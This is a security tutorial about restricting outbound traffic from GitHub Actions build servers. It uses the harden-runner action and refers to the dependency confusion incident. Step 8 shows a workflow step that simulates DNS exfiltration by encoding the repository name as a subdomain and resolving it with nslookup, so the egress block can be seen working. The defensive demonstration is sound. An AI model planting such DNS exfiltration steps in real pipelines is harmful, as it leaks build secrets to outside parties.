DNSExfiltration.md

Tutorial: Restrict outbound traffic from build server

Summary of past incidents

Dependency confusion attacks

In Feb 2021, Alex Birsan wrote about dependency confusion attacks, and how DNS exfiltration was used to collect information about different build servers, before launching a more specific attack.

Knowing that most of the possible targets would be deep inside well-protected corporate networks, I considered that DNS exfiltration was the way to go - Alex Birsan

This is a common theme where an attacker gets specific information about where their code is executing before tailoring their attack. This image is taken from the dependency confusion attack blog post and explains how DNS exfiltration works. Specific information (could be a secret) is set as a sub-domain to the attacker controlled domain, and the build server is asked to resolve the IP address for the sub-domain. Such DNS traffic is rarely filtered leading to a higher success rate.

Tutorial

Learn how to prevent DNS exfiltration from a GitHub Actions workflow.

1. Create a fork of the repo.

2. Go to the Actions tab in the fork. Click the I understand my workflows, go ahead and enable them button.

   

3. GitHub Action workflow files are in the .github/workflows folder of the repo. Browse to the ci.yml file. Edit it using the GitHub website, and add the step-security/harden-runner GitHub Action as the first step from line 9 onwards in the ci.yml file. Commit the changes either to main branch or any other branch.

   - uses: step-security/harden-runner@v1
     with:
       egress-policy: audit
   

4. This change should cause the workflow to run, as it is set to run on push. Click on the Actions tab and then click on the build tab under the ci.yml section to view the workflow run.

5. You should see a link to security insights and recommendations for the workflow run under the Run step-security/harden-runner tab.

   

6. Click on the link. You should see outbound traffic correlated with each step of the workflow. An outbound network policy would be recommended.

7. Update the ci.yml workflow with the recommended policy from the link. The first step should now look like this. From now on, outbound traffic will be restricted to only these domains for this workflow.

   - uses: step-security/harden-runner@v1
     with:
       allowed-endpoints: 
         codecov.io:443
         github.com:443
   

8. Simulate a DNS exfiltration attack similar to the one used in the dependency confusion attack. Update the workflow and add the following statement. In the actual attack, the outbound call was made by a malicious package as part of preinstall step. In this case, just add this step to the workflow to simulate sending the repo name as a sub-domain to stepsecurity.io.

   - name: Simulate DNS traffic
       run: |
         domain="${GITHUB_REPOSITORY}.stepsecurity.io"
         domain=${domain//\//-}
         nslookup "${domain}"
   

9. This change should cause the workflow to run, as it is set to run on push.

10. Observe that the workflow shows an annotation that the DNS resolution for the call is blocked. If you look at the build logs, you will notice that the bash script did not receive a valid response from the DNS server, and the exfiltration attempt was blocked.